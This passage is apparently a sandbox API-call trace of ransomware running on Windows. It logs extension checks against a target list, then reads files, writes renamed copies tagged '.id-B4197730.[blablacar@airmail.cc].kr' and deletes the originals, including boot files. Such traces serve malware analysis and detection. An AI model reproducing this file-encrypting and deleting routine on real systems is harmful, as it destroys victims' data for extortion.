lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".xls") returned 4 [0087.316] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".xlsx") returned 5 [0087.316] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0087.316] lstrlenW (lpString=".ppt") returned 4 [0087.316] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0087.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.316] lstrlenW (lpString=".zip") returned 4 [0087.316] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".rar") returned 4 [0087.316] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".bz2") returned 4 [0087.316] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".7z") returned 3 [0087.316] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0087.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.316] lstrlenW (lpString=".dbf") returned 4 [0087.316] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0087.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.316] lstrlenW (lpString=".1cd") returned 4 [0087.316] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0087.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.316] lstrlenW (lpString=".jpg") returned 4 [0087.317] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0087.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.317] lstrlenW (lpString=".doc") returned 4 [0087.317] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".docx") returned 5 [0087.317] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0087.317] lstrlenW (lpString=".pdf") returned 4 [0087.317] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".xls") returned 4 [0087.317] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".xlsx") returned 5 [0087.317] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0087.317] lstrlenW (lpString=".ppt") returned 4 [0087.317] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0087.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.317] lstrlenW (lpString=".zip") returned 4 [0087.317] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".rar") returned 4 [0087.317] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".bz2") returned 4 [0087.317] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0087.317] lstrlenW (lpString=".7z") returned 3 [0087.317] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0087.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.318] lstrlenW (lpString=".dbf") returned 4 [0087.318] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0087.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.318] lstrlenW (lpString=".1cd") returned 4 [0087.318] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0087.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.318] lstrlenW (lpString=".jpg") returned 4 [0087.318] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0087.318] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.318] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0087.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.319] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=93314) returned 1 [0087.319] CloseHandle (hObject=0x340) returned 1 [0087.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0087.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.319] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.319] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0087.320] GetLastError () returned 0x0 [0087.320] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x16c82, lpOverlapped=0x0) returned 1 [0087.323] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x16c90, lpOverlapped=0x0) returned 1 [0087.327] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0087.327] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.327] SetEndOfFile (hFile=0x300) returned 1 [0087.327] CloseHandle (hObject=0x300) returned 1 [0087.331] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.331] SetEndOfFile (hFile=0x340) returned 1 [0087.332] CloseHandle (hObject=0x340) returned 1 [0087.332] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.333] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0087.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.333] lstrlenW (lpString=".doc") returned 4 [0087.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.333] lstrlenW (lpString=".docx") returned 5 [0087.333] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.334] lstrlenW (lpString=".pdf") returned 4 [0087.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString=".xls") returned 4 [0087.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString=".xlsx") returned 5 [0087.334] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.334] lstrlenW (lpString=".ppt") returned 4 [0087.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.334] lstrlenW (lpString=".zip") returned 4 [0087.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.334] lstrlenW (lpString=".rar") returned 4 [0087.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString=".bz2") returned 4 [0087.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString=".7z") returned 3 [0087.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.334] lstrlenW (lpString=".dbf") returned 4 [0087.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.334] lstrlenW (lpString=".1cd") returned 4 [0087.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.842] lstrlenW (lpString=".jpg") returned 4 [0087.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString=".doc") returned 4 [0087.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString=".docx") returned 5 [0087.843] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.843] lstrlenW (lpString=".pdf") returned 4 [0087.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString=".xls") returned 4 [0087.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString=".xlsx") returned 5 [0087.843] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.843] lstrlenW (lpString=".ppt") returned 4 [0087.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString=".zip") returned 4 [0087.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.843] lstrlenW (lpString=".rar") returned 4 [0087.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString=".bz2") returned 4 [0087.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString=".7z") returned 3 [0087.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString=".dbf") returned 4 [0087.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString=".1cd") returned 4 [0087.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0087.843] lstrlenW (lpString=".jpg") returned 4 [0087.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.844] lstrcmpiW (lpString1=".LOG", lpString2=".kr") returned 1 [0087.844] lstrlenW (lpString="BCD.LOG") returned 7 [0087.844] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.844] lstrlenW (lpString=".doc") returned 4 [0087.844] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0087.844] lstrlenW (lpString=".docx") returned 5 [0087.844] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0087.844] lstrlenW (lpString=".pdf") returned 4 [0087.844] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0087.844] lstrlenW (lpString=".xls") returned 4 [0087.844] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0087.844] lstrlenW (lpString=".xlsx") returned 5 [0087.844] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0087.844] lstrlenW (lpString=".ppt") returned 4 [0087.844] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0087.844] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.844] lstrlenW (lpString=".zip") returned 4 [0087.844] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0087.845] lstrlenW (lpString=".rar") returned 4 [0087.845] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0087.845] lstrlenW (lpString=".bz2") returned 4 [0087.845] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0087.845] lstrlenW (lpString=".7z") returned 3 [0087.845] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.845] lstrlenW (lpString=".dbf") returned 4 [0087.845] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.845] lstrlenW (lpString=".1cd") returned 4 [0087.845] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.845] lstrlenW (lpString=".jpg") returned 4 [0087.845] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.845] lstrlenW (lpString=".doc") returned 4 [0087.845] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0087.845] lstrlenW (lpString=".docx") returned 5 [0087.845] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0087.845] lstrlenW (lpString=".pdf") returned 4 [0087.845] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0087.845] lstrlenW (lpString=".xls") returned 4 [0087.845] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0087.845] lstrlenW (lpString=".xlsx") returned 5 [0087.845] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0087.845] lstrlenW (lpString=".ppt") returned 4 [0087.845] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0087.845] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.846] lstrlenW (lpString=".zip") returned 4 [0087.846] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0087.846] lstrlenW (lpString=".rar") returned 4 [0087.846] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0087.846] lstrlenW (lpString=".bz2") returned 4 [0087.846] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0087.846] lstrlenW (lpString=".7z") returned 3 [0087.846] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0087.846] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.846] lstrlenW (lpString=".dbf") returned 4 [0087.846] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0087.846] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.846] lstrlenW (lpString=".1cd") returned 4 [0087.846] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0087.846] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.846] lstrlenW (lpString=".jpg") returned 4 [0087.846] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0087.846] lstrcmpiW (lpString1=".DAT", lpString2=".kr") returned -1 [0087.846] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0087.846] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.848] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=65536) returned 1 [0087.848] CloseHandle (hObject=0x33c) returned 1 [0087.848] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0087.848] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.848] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.848] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.848] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.848] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.852] GetLastError () returned 0x0 [0087.852] ReadFile (in: hFile=0x33c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x10000, lpOverlapped=0x0) returned 1 [0087.855] WriteFile (in: hFile=0x350, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x10010, lpOverlapped=0x0) returned 1 [0087.857] ReadFile (in: hFile=0x33c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0087.857] WriteFile (in: hFile=0x350, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0087.858] SetEndOfFile (hFile=0x350) returned 1 [0087.858] CloseHandle (hObject=0x350) returned 1 [0087.860] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.860] SetEndOfFile (hFile=0x33c) returned 1 [0087.862] CloseHandle (hObject=0x33c) returned 1 [0087.862] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0087.862] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0087.863] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.863] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.863] lstrlenW (lpString=".doc") returned 4 [0087.863] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0087.863] lstrlenW (lpString=".docx") returned 5 [0087.863] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0087.863] lstrlenW (lpString=".pdf") returned 4 [0087.863] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0087.863] lstrlenW (lpString=".xls") returned 4 [0087.863] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0087.863] lstrlenW (lpString=".xlsx") returned 5 [0087.863] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0087.863] lstrlenW (lpString=".ppt") returned 4 [0087.863] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString=".zip") returned 4 [0087.864] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString=".rar") returned 4 [0087.864] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString=".bz2") returned 4 [0087.864] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0087.864] lstrlenW (lpString=".7z") returned 3 [0087.864] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString=".dbf") returned 4 [0087.864] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString=".1cd") returned 4 [0087.864] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString=".jpg") returned 4 [0087.864] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.864] lstrlenW (lpString=".doc") returned 4 [0087.864] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0087.864] lstrlenW (lpString=".docx") returned 5 [0087.864] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0087.864] lstrlenW (lpString=".pdf") returned 4 [0087.865] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString=".xls") returned 4 [0087.865] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString=".xlsx") returned 5 [0087.865] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0087.865] lstrlenW (lpString=".ppt") returned 4 [0087.865] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.865] lstrlenW (lpString=".zip") returned 4 [0087.865] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString=".rar") returned 4 [0087.865] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString=".bz2") returned 4 [0087.865] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0087.865] lstrlenW (lpString=".7z") returned 3 [0087.865] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0087.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.865] lstrlenW (lpString=".dbf") returned 4 [0087.865] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0087.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.865] lstrlenW (lpString=".1cd") returned 4 [0087.865] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0087.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0087.865] lstrlenW (lpString=".jpg") returned 4 [0087.865] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0087.866] Sleep (dwMilliseconds=0x64) [0088.208] Sleep (dwMilliseconds=0x64) [0088.439] Sleep (dwMilliseconds=0x64) [0088.764] Sleep (dwMilliseconds=0x64) [0088.961] Sleep (dwMilliseconds=0x64) [0089.350] Sleep (dwMilliseconds=0x64) [0089.836] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.836] lstrlenW (lpString="boxed-correct.avi") returned 17 [0089.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.838] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=111320) returned 1 [0089.838] CloseHandle (hObject=0x35c) returned 1 [0089.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0089.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.838] lstrlenW (lpString=".doc") returned 4 [0089.838] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.838] lstrlenW (lpString=".docx") returned 5 [0089.838] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.838] lstrlenW (lpString=".pdf") returned 4 [0089.839] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString=".xls") returned 4 [0089.839] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString=".xlsx") returned 5 [0089.839] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.839] lstrlenW (lpString=".ppt") returned 4 [0089.839] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.839] lstrlenW (lpString=".zip") returned 4 [0089.839] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString=".rar") returned 4 [0089.839] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString=".bz2") returned 4 [0089.839] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString=".7z") returned 3 